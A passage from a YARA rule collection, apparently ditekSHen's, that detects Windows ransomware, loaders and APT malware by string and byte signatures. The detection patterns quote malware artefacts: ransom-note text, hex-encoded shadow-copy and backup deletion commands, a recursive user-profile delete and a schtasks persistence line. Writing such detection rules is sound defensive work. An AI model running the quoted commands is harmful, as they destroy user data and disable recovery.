		$x1 = "22:40:08        \"> <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"> <rdf:Description rdf:about=\"\"" ascii
		$x2 = "uuid:A9BD8E384B2FDE118D26E6EE744C235C\" stRef:documentID=\"uuid:A8BD8E384B2FDE118D26E6EE744C235C\"/>" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 2 of ( $s* ) and 5 of ( $o* ) ) or ( all of ( $s* ) and 2 of ( $o* ) ) or ( all of ( $x* ) and 2 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Clop : FILE
{
	meta:
		description = "Detects Clop ransomware variants"
		author = "ditekSHen"
		id = "d3c9e950-8b03-5d19-8448-9cf208813df2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4869-L4889"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a1a21100c468c4db147f97b0724b7a3aefbb92b157071bfe6f61d02768573b44"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "Cllp^_-" ascii
		$s2 = "temp.dat" fullword wide
		$s3 = "README_README.txt" wide
		$s4 = "BEGIN PUBLIC KEY" ascii
		$s5 = "runrun" wide
		$s6 = "wevtutil.exe" ascii
		$s7 = "%s%s.Cllp" fullword wide
		$s8 = "WinCheckDRVs" fullword wide
		$o1 = { 6a ff 56 89 9d 28 dd ff ff ff d0 a1 64 32 41 00 }
		$o2 = { 56 89 9d 28 dd ff ff ff 15 78 32 41 00 eb 07 43 }
		$o3 = { 68 ?? 34 41 00 8d 85 58 dd ff ff 50 ff d7 85 c0 }
		$o4 = { 68 d0 34 41 00 50 ff d6 8b bd 28 d5 ff ff 83 c4 }
		$o5 = { a1 64 32 41 00 43 56 89 9d 08 d5 ff ff ff d0 8b }
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $x* ) and ( 3 of ( $s* ) or 4 of ( $o* ) ) ) or ( all of ( $o* ) and 2 of ( $s* ) ) or ( 4 of ( $s* ) and 4 of ( $o* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Peloader_Runpe : FILE
{
	meta:
		description = "Detects PE loader / injector. Observed Gorgon TTPs"
		author = "ditekSHen"
		id = "262dedee-05d2-5783-b0ff-24470d310ab8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4936-L4950"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0369c3e2f83a0265c81e5dcd10b4d88753bd6ce3da4bb893a364486712a2b80d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "commandLine'" fullword ascii
		$s2 = "RunPe.dll" fullword ascii
		$s3 = "HandleRun" fullword ascii
		$s4 = "inheritHandles" fullword ascii
		$s5 = "BlockCopy" fullword ascii
		$s6 = "WriteProcessMemory" fullword ascii
		$s7 = "startupInfo" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Peloader_INF : FILE
{
	meta:
		description = "Detects PE loader / injector. Potentical HCrypt. Observed Gorgon TTPs"
		author = "ditekSHen"
		id = "09823302-34e0-5283-9740-1475ab8077be"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4952-L4963"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "758f7b465b8f9dab5c1194bee266392efe143ac219a5307e6886845b3c862700"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "Managament.inf" fullword ascii
		$x2 = "rOnAlDo" fullword ascii
		$x3 = "untimeResourceSet" fullword ascii
		$x4 = "3System.Resources.Tools.StronglyTypedResourceBuilder" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Doejocrypt : FILE
{
	meta:
		description = "Detects DoejoCrypt / DearCry ransomware"
		author = "ditekSHen"
		id = "2c90f8e7-ced4-56da-ab8d-61b5ba63dacd"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4977-L4993"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f8a3897de9522340799a59e3e755c323b0defaab73a9030b6b69a1a82c05dcd0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "DEARCRY!" fullword ascii
		$s2 = ".CRYPT" fullword ascii
		$s3 = "\\EncryptFile -svcV2\\" ascii
		$s4 = "please send me the following hash!" ascii
		$s5 = "dear!!!" fullword ascii
		$s6 = "/readme.txt" fullword ascii
		$o1 = { c3 8b 65 e8 c7 45 fc fe ff ff ff 8b b5 f4 e9 ff }
		$o2 = { 0f 8c 27 ff ff ff 33 db 57 e8 7b 36 00 00 eb 0a }
		$o3 = { 0f 8c 2a ff ff ff 53 57 e8 b7 42 00 00 8b 4c 24 }
	condition:
		uint16( 0 ) == 0x5a4d and 4 of ( $s* ) or ( all of ( $o* ) and ( 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Sunshuttle : FILE
{
	meta:
		description = "Detects SunShuttle / GoldMax"
		author = "ditekSHen"
		id = "1618d0bc-6e72-5f1e-81e7-56611bfd7f8b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4995-L5017"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fa8feb069e73aa0a7fcb4daecc1fdf8edeff65e5aeefef161626647fe989e5c0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "main.beaconing" fullword ascii
		$s2 = "main.clean_file" fullword ascii
		$s3 = "main.decrypt" fullword ascii
		$s4 = "main.define_internal_settings" fullword ascii
		$s5 = "main.delete_empty" fullword ascii
		$s6 = "main.encrypt" fullword ascii
		$s7 = "main.false_requesting" fullword ascii
		$s8 = "main.removeBase64Padding" fullword ascii
		$s9 = "main.resolve_command" fullword ascii
		$s10 = "main.retrieve_session_key" fullword ascii
		$s11 = "main.save_internal_settings" fullword ascii
		$s12 = "main.send_command_result" fullword ascii
		$s13 = "main.send_file_part" fullword ascii
		$s14 = "main.wget_file" fullword ascii
		$s15 = "main.write_file" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Ranzylocker : FILE
{
	meta:
		description = "Detects RanzyLocker / REntS ransomware"
		author = "ditekSHen"
		id = "0d74f6fd-e1d2-5939-991e-7fdd2ca3310b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5019-L5042"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "15897144843acf49b81c5428fd1bb56d7a2acf16047a6e5d3ca4f2aaa8891577"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$hr1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
		$hr2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
		$hr3 = "626364656469742E657865202F736574207B64656661756C747D207265636F76657279656E61626C6564204E6F" ascii
		$hr4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
		$hr5 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573" ascii
		$hr6 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
		$hx1 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" ascii
		$hx2 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
		$hx3 = "227375626964223A22" ascii
		$hx4 = "226E6574776F726B223A22" ascii
		$hx5 = "726561646D652E747874" ascii
		$hx6 = "-nolan" fullword wide
		$o1 = { 8d 45 e9 89 9d 54 ff ff ff 88 9d 44 ff ff ff 3b }
		$o2 = { 8b 44 24 2? 8b ?c 24 34 40 8b 54 24 38 89 44 24 }
		$o3 = { 8b 44 24 2? 8b ?c 24 1c 89 44 24 34 8b 44 24 28 }
		$o4 = { 8b 44 24 2? 8b ?c 24 34 05 00 00 a0 00 89 44 24 }
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $hx* ) or ( 2 of ( $hr* ) and 2 of ( $hx* ) ) or ( all of ( $o* ) and 2 of ( $h* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Wobbychipmbr : FILE
{
	meta:
		description = "Detects WobbyChipMBR / Covid-21 ransomware"
		author = "ditekSHen"
		id = "581fbce1-128d-5323-a259-14d9bfdf09b1"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5044-L5060"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "168c7f610625131c9552252d2b824a90918d2961996ee0f783497dff5cf17351"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "You became a Victim of the Covid-21 Ransomware" ascii wide
		$x2 = "Reinstalling Windows has been blocked" ascii wide
		$x3 = "Enter Decryption Key:" ascii wide
		$x4 = "encrypted with military grade encryption" ascii wide
		$s1 = "schtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR" ascii
		$s2 = "\\EFI\\Boot\\bootx64.efi" ascii wide
		$s3 = "DumpHex" fullword ascii
		$s4 = "TFTP Error" fullword wide
		$s5 = "HD(Part%d,MBRType=%02x,SigType=%02x)" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $x* ) or all of ( $s* ) or ( 1 of ( $x* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Snatch : FILE
{
	meta:
		description = "Detects Snatch / GoRansome / MauriGo ransomware"
		author = "ditekSHen"
		id = "00dce673-b909-571f-8117-c5d4ce73fb31"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5062-L5091"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bf8c33a7203458c80a43944c3117bb897b1702f0024271904d9be682cbd695fc"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "main.encryptFile" ascii
		$s2 = "main.encryptFileExt" ascii
		$s3 = "main.deleteShadowCopy" ascii
		$s4 = "main.Shadow" fullword ascii
		$s5 = "main.RecoverMe" fullword ascii
		$s6 = "main.EncryptWithPublicKey" ascii
		$s7 = "main.EncoderLookupDir" fullword ascii
		$s8 = "main.ALIGNUP" fullword ascii
		$s9 = "main.encrypt" fullword ascii
		$s10 = "github.com/mauri870/ransomware" ascii
		$m1 = "Dear You, ALl Your files On YOUR network computers are encrypted" ascii
		$m2 = "You have to pay the ransom of %s USD in bitcoins to the address" ascii
		$m3 = "REMEMBER YOU FILES ARE IN SAVE HANDS AND WILL BE RESTORED OR RECOVERED ONCE PAYMENT IS DONE" ascii
		$m4 = ":HELP FEEED A CHILD:" ascii
		$m5 = ">SYSTEM NETWORK ENCRYPTED<" ascii
		$m6 = "YOUR IDENTIFICATION : %s" ascii
		$m7 = "convince you of our honesty" ascii
		$m8 = "use TOR browser to talk with support" ascii
		$m9 = "encrypted and attackers are taking" ascii
		$p1 = "/Go/src/kitty/kidrives/" ascii
		$p2 = "/LGoGo/encoder.go" ascii nocase
		$p3 = "/Go/src/kitty/kidata/" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or 2 of ( $m* ) or ( 1 of ( $m* ) and 1 of ( $s* ) ) or ( all of ( $p* ) and ( 1 of ( $s* ) or 1 of ( $m* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Meteorite : FILE
{
	meta:
		description = "Detects Meteorite downloader"
		author = "ditekSHen"
		id = "ce7a72ce-56a8-5def-a952-f0b08efe8a4a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5093-L5109"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0ae8183d949046be4257b48571a266f2501d60dd302f511ca1a2d518884e6a7f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "MeteoriteDownloader" fullword ascii wide
		$x2 = "Meteorite Downloader" fullword ascii wide
		$x3 = "Meteorite Downloader v" wide
		$s1 = "regwrite" fullword wide
		$s2 = "urlmon" fullword ascii
		$s3 = "wscript.shell" fullword wide
		$s4 = "modMain" fullword ascii
		$s5 = "VBA6.DLL" fullword ascii
		$s6 = "^_http" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or ( 5 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Legionlocker : FILE
{
	meta:
		description = "Detects LegionLocker ransomware"
		author = "ditekSHen"
		id = "4e5c50d0-808e-5adb-bce9-804ddf66ca61"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5111-L5129"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2da897b5603415f14fff134b3a94d77e6963da79e117d26ba16e6b04e45f4045"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$m1 = "+Do not run task manager, powershell, cmd etc." ascii wide
		$m2 = "3 hours your files will be deleted." ascii wide
		$m3 = "files have been encrypted by Legion Locker" ascii wide
		$s1 = "passwordBytes" fullword ascii
		$s2 = "_start_enc_" ascii
		$s3 = "_del_desktop_" ascii
		$s4 = "Processhacker" wide
		$s5 = "/k color 47 && del /f /s /q %userprofile%\\" wide
		$s6 = "Submit code" fullword wide
		$pdb1 = "\\obj\\Debug\\LegionLocker.pdb" ascii
		$pdb2 = "\\obj\\Release\\LegionLocker.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $m* ) or 1 of ( $pdb* ) or 4 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Dlagentgo : FILE
{
	meta:
		description = "Detects Go-based downloader"
		author = "ditekSHen"
		id = "e16ccb89-2eb6-5457-a88e-f802f3c35764"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5131-L5144"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b9dd2446eddff18be00feb34d8911600feb395a9ce2566786d42b48b444230d0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "main.downloadFile" fullword ascii
		$s2 = "main.fetchFiles" fullword ascii
		$s3 = "main.createDefenderAllowanceException" fullword ascii
		$s4 = "main.unzip" fullword ascii
		$s5 = "HideWindow" fullword ascii
		$s6 = "/go/src/installwrap/main.go" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Blackmoon : FILE
{
	meta:
		description = "Detects executables using BlackMoon RunTime"
		author = "ditekSHen"
		id = "76071d36-3d2d-589c-8c3f-0ae60e69996e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5146-L5155"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "05bfde8ec3a469df5707c195e25995ac6af730e8a1595b1a598276c024420be2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "blackmoon" fullword ascii
		$s2 = "BlackMoon RunTime Error:" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Iceid : FILE
{
	meta:
		description = "Detects IceID / Bokbot variants"
		author = "ditekSHen"
		id = "0da94737-0f82-5892-a0eb-f9f3c0a114cc"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5157-L5176"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "204b4c297806a36ca14bb3e659824f4eb49b18308af7090f0db1194705f1e2c9"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$n1 = "POST" fullword wide
		$n2 = "; _gat=" fullword wide
		$n3 = "; _ga=" fullword wide
		$n4 = "; _u=" fullword wide
		$n5 = "; __io=" fullword wide
		$n6 = "; _gid=" fullword wide
		$n7 = "Cookie: __gads=" fullword wide
		$s1 = "c:\\ProgramData" ascii
		$s2 = "loader_dll_64.dll" fullword ascii
		$s3 = "loader_dll_32.dll" fullword ascii
		$s4 = "/?id=%0.2X%0.8X%0.8X%s" ascii
		$s5 = "%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.8X" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $n* ) and 1 of ( $s* ) ) or ( 3 of ( $s* ) and 1 of ( $n* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Purge : FILE
{
	meta:
		description = "Detects Purge ransomware"
		author = "ditekSHen"
		id = "b3fb9f38-ce12-5e0e-8908-3379b5da3497"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5178-L5201"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "83d13eca69bc99539e47d6d29689edf2a4fcd2260c6e909582126a490eef8115"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$n1 = "imagesave/imagesize.php" ascii
		$n2 = "imageinfo.html" ascii
		$n3 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" ascii
		$n4 = "Content-Type: application/x-www-form-urlencoded" ascii
		$m1 = "YOUR_ID: %x%x" wide
		$m2 = "Specially for your PC was generated personal" wide
		$m3 = "which is on our Secret Server" wide
		$m4 = "wait for a miracle and get your price" wide
		$s1 = "%s\\SpyHunter Remove Ransomware" wide
		$s2 = "$recycle.bin" fullword wide
		$s3 = "TheEnd" fullword wide
		$s4 = "%s\\HELP_DECRYPT_YOUR_FILES.TXT" fullword wide
		$s5 = "%s.id_%x%x_email_" wide
		$s6 = "scmd" fullword wide
		$s7 = "process call create \"%s\"" wide
		$s8 = "FinishEnds" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or all of ( $n* ) or 2 of ( $m* ) or ( 3 of ( $s* ) and ( 1 of ( $n* ) or 1 of ( $m* ) ) ) )
}


rule DITEKSHEN_MALWARE_Win_Godzilla : FILE
{
	meta:
		description = "Detects Godzilla loader"
		author = "ditekSHen"
		id = "3384b844-6abf-5f94-a62b-7ebbdfe321bd"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5247-L5265"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ff87fbaaf488ac69e06a03a7f8e5305ec114caa6271c25fa130033f50f0d9095"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "MSVBVM60.DLL" fullword ascii
		$x2 = "Loginserver8" fullword ascii
		$x3 = "Proflogger7" fullword ascii
		$s1 = "Badgeless5" fullword ascii
		$s2 = "Montebrasite3" fullword ascii
		$s3 = "Atelomyelia4" fullword ascii
		$s4 = "Xxencoded5" fullword ascii
		$s5 = "Garneau2" fullword ascii
		$s6 = "Hypostasis0" fullword ascii
		$s7 = "Piarhemia4" fullword ascii
		$s8 = "Foredestine8" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $x* ) and 2 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_UNK03 : FILE
{
	meta:
		description = "Detects unknown malware"
		author = "ditekSHen"
		id = "b0711427-b6bf-5e4b-af36-9c752ead4d6c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5267-L5280"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f1a4be68206628c3addbce8b6bbc1f801e67632d4e6a6af1d45cdad833e9a991"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion" ascii
		$s2 = "rundll32.exe C:\\Windows\\System32\\shimgvw.dll,ImageView_Fullscreen %s" ascii
		$s3 = "%s.jpg" ascii
		$s4 = "%s\\sz.txt" ascii
		$s5 = "ChromeSecsv9867%d7.exe" ascii
		$s6 = "%s\\appl%c.jpg" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_UNK04 : FILE
{
	meta:
		description = "Detects unknown malware (proxy tool)"
		author = "ditekSHen"
		id = "6a178f37-a9fd-5a83-a550-c6333342ac9b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5282-L5296"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ba6e5bbc1d094b23e3870af963503d1ccbcd56adc24126b4a38b77d4b88b4b67"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "127.0.0.1/%d" fullword ascii
		$x2 = "SYSTEM\\CurrentControlSet\\SERVICES\\PORTPROXY\\V4TOV4\\TCP" fullword ascii
		$x3 = "%s rundll32.exe" fullword ascii
		$s1 = "kxetray.exe" fullword ascii
		$s2 = "ksafe.exe" fullword ascii
		$s3 = "Mcshield.exe" fullword ascii
		$s4 = "Miner.exe" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $x* ) and 2 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Dlagent09 : FILE
{
	meta:
		description = "Detects known downloader agent"
		author = "ditekSHen"
		id = "90f71ac7-19d9-5a8e-9830-df2f16e12c9b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5315-L5328"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9336507fa4bb9d3a6325d5e9caafc8c4e816a0166fded7d4e53e09a87628bc89"
		score = 75
		quality = 71
		tags = "FILE"
	strings:
		$h1 = "//:ptth" ascii wide nocase
		$h2 = "//:sptth" ascii wide nocase
		$s1 = "DownloadString" fullword ascii wide
		$s2 = "StrReverse" fullword ascii wide
		$s3 = "FromBase64String" fullword ascii wide
		$s4 = "WebClient" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $h* ) and all of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Coinminingbot : FILE
{
	meta:
		description = "Detects coinmining bot"
		author = "ditekSHen"
		id = "df15bfbd-f531-5eaa-b160-ad8a1fbe992f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5330-L5343"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a307a6c9184e8f4068cfa89a8432ae017c8aab10b706ba065051f8749860c15c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "FullScreenDetect" fullword ascii
		$s2 = "GetChildProcesses" fullword ascii
		$s3 = "HideBotPath" fullword ascii
		$s4 = "Inject" fullword ascii
		$s5 = "DownloadFile" fullword ascii
		$s6 = "/Data/GetUpdateInfo" wide
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}


rule DITEKSHEN_MALWARE_Win_Pureloader : FILE
{
	meta:
		description = "Detects Pure loader / injector"
		author = "ditekSHen"
		id = "ad44a12a-4ac7-5cc7-92ab-13c23514de69"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5366-L5382"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1f0bd20e769ea79d28d6e60ca06aa8aa2b3436426cfe0cd4f2023a08236875cd"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "InvokeMember" fullword wide
		$s2 = "ConcatProducer" fullword wide
		$s3 = ".Classes.Resolver" wide
		$s4 = "get_DLL" fullword ascii
		$s5 = "BufferedStream" fullword ascii
		$s6 = "GZipStream" fullword ascii
		$s7 = "MemoryStream" fullword ascii
		$s8 = "Decompress" fullword ascii
		$s9 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_MALWARE_Win_Dllhijacker01 : FILE
{
	meta:
		description = "Hunt for VSNTAR21 / DllHijacker01 IronTiger / LuckyMouse / APT27 malware"
		author = "ditekSHen"
		id = "0a858058-310a-5b1c-a6fe-abdec7b25abe"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5432-L5448"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "48535c0bb5342e2f91ac9d015c761d8d543b122dd3cc08b7029631fcf3037bfb"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "libvlc_add_intf" fullword ascii
		$s2 = "libvlc_dllonexit" fullword ascii
		$s3 = "libvlc_getmainargs" fullword ascii
		$s4 = "libvlc_initenv" fullword ascii
		$s5 = "libvlc_set_app_id" fullword ascii
		$s6 = "libvlc_set_app_type" fullword ascii
		$s7 = "libvlc_set_user_agent" fullword ascii
		$s8 = "libvlc_wait" fullword ascii
		$s9 = "dll.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Hyperbro02 : FILE
{
	meta:
		description = "Detects HyperBro IronTiger / LuckyMouse / APT27 malware"
		author = "ditekSHen"
		id = "1880afd7-ca06-5b43-af8f-e791ded0d7d8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5450-L5474"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ca4ee116516549fc42f7e32b3c24d631b7f2c638efbde5c07227358e78fd6f35"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\cmd.exe /A" fullword wide
		$s2 = "C:\\windows\\explorer.exe" fullword wide
		$s3 = "\\\\.\\pipe\\testpipe" fullword wide
		$s4 = "Elevation:Administrator!new:{" wide
		$s5 = "log.log" fullword wide
		$s6 = "%s\\%d.exe" fullword wide
